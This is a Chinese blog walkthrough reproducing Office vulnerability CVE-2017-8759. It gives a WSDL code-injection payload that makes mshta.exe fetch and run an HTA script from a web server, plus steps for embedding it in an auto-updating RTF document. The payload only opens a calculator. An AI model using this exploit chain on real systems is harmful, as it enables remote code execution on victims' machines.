您的位置:首页 > 其它

MS Office 漏洞CVE-2017-8759复现

2017-09-19 11:32 686 查看
web环境搭建,使用基于nginx+webpy通过fastcgi的方式搭建简单的web服务器。

首先配置fastcgi

location / {
root   E:/Python/webpy/www/;
index  index.html index.htm;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_script_name;
fastcgi_pass 127.0.0.1:8008;
}


创建web目录以及文件,编辑index.py文件,实现web相关请求接口

这里有些文件为其它测试文件,如.swf文件



先启动nginx,然后启动fastcgi

@echo off
rem 8008 is a port in nginx config file nginx.conf as value of fastcgi_pass
echo Start fastcgi...
python index.py 8008 fastcgi
pause


web环境准备好后,开始准备CVE-2017-8759的rft文档了。

下载POC相关文件,下载地址:https://github.com/vysec/CVE-2017-8759

创建HTA脚本文件,目的是打开一个计算器,内容如下:

<html>
<head>
<script language="VBScript">
Sub window_onload
window.resizeTo 0,0
window.MoveTo -100,-100
const impersonation = 3
const HIDDEN_WINDOW = 12
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "c:\\windows\\system32\\calc.exe", 0, FALSE
window.close()
end Sub
</script>
</head>
<body>
</body>
</html>
将脚本命名为test.jpg。

修改下载的POC文件exploit.txt,修改后的内容如下:

<definitions
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:suds="http://www.w3.org/2000/wsdl/suds"
xmlns:tns="http://schemas.microsoft.com/clr/ns/System"
xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
</binding>
<service name="Service">
<port name="Port" binding="tns:Binding">
<soap:address location="http://10.0.0.15?C:\Windows\System32\mshta.exe?http://10.0.0.15/static/test.jpg"/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
} //"/>
</port>
</service>
</definitions>
将通过mshta.exe执行hta脚本文件test.jpg。

创建RFT文档,打开MS Office 2013,选择插入=>>对象,在弹出的对话框中选择“由文件创建”tab页,如下图所示:



另存为RFT格式的文件,使用UtraEdit打开该文件,找到objdata的位置,如下图所示:



增加objupdate字段,实现打开该文档时在动加载运行这个objclass对象,修改后的内容如下:



具体介绍请参照如下链接:
https://www.mdsec.co.uk/2017/09/exploiting-cve-2017-8759-soap-wsdl-parser-code-injection/ https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
接下来用WinHex打开POC中的blob.bin文件,将WSDL的值改为自己搭建的服务器的地址:



将该文件的16进制内容转存为文本字符,这我使用自己编写的小工具bin2hex.exe实现,转存结果如下:



再回到UltraEdit打开的RFT文件,用以上转存的文本字符替换掉objdata所在大括号中的内容,然后保存RFT文件。

到此我们完成了所有配置,双击打开该RFT文档,弹出计算器表示漏洞触发成功,最终效果如下:

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: